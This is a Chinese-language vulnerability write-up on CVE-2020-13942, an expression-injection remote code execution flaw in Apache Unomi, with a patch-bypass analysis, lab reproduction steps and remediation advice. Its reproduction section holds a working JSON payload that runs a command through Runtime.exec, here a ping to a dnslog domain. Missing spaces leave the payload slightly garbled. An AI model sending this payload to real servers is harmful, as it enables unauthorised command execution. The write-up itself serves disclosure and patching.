Apache Unomi远程代码执行漏洞(cve-2020-13942)

漏洞描述

Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器,旨在管理客户,潜在顾客和访问者的数据,并帮助个性化客户体验。Unomi可用于在非常不同的系统(例如CMS,CRM,问题跟踪器,本机移动应用程序等)中集成个性化和配置文件管理。

在Apache Unomi 1.5.1版本之前,存在一处表达式注入漏洞,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。

漏洞危害

远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令。

危害等级

影响版本

ApacheUnomi < 1.5.2

漏洞分析 

CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,CVE-2020-11975的修补程序引入了SecureFilteringClassLoader函数,该函数重写了ClassLoader类的loadClass方法,用黑白名单的方式过滤表达式中使用的类。但是除了调用loadClass()之外,还有很多种加载类的方法。在某些情况下,MVEL表达式可以直接使用已实例化的类(例如Runtime或System)而无需调用loadClass(),这样就绕过了SecureFilteringClassLoader。

漏洞复现

使用vulhub搭建docker环境,执行命令:docker-composeup –d

访问http://your-ip:8181或https://your-ip:9443,访问首页显示如下图即安装成功

通过burp进行抓包

抓包后,将GET请求改为转换为POST请求,同时将请求路径改为/context.json,再将content-type类型改为application/json,添加请求内容(图中请求内容为执行ping命令,域名为dnslog随机域名)。

请求内容如下:

{"filters":[{"id":"sample","filters":[{"condition":{"parameterValues":{"":"script::Runtimer = Runtime.getRuntime(); r.exec(\"ping111.j22xcj.dnslog.cn\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"sample"}

查看DNSlog记录:

修复建议

1、尽可能避免将用户数据放入表达式解释器中。

2、目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。官方链接如下:

https://unomi.apache.org/download.html

参考:

https://blog.csdn.net/qq_37602797/article/details/110010273

https://www.cnblogs.com/Found404/p/14331006.html

https://www.seebug.org/vuldb/ssvid-99047

你可能感兴趣的:(Apache Unomi远程代码执行漏洞(cve-2020-13942))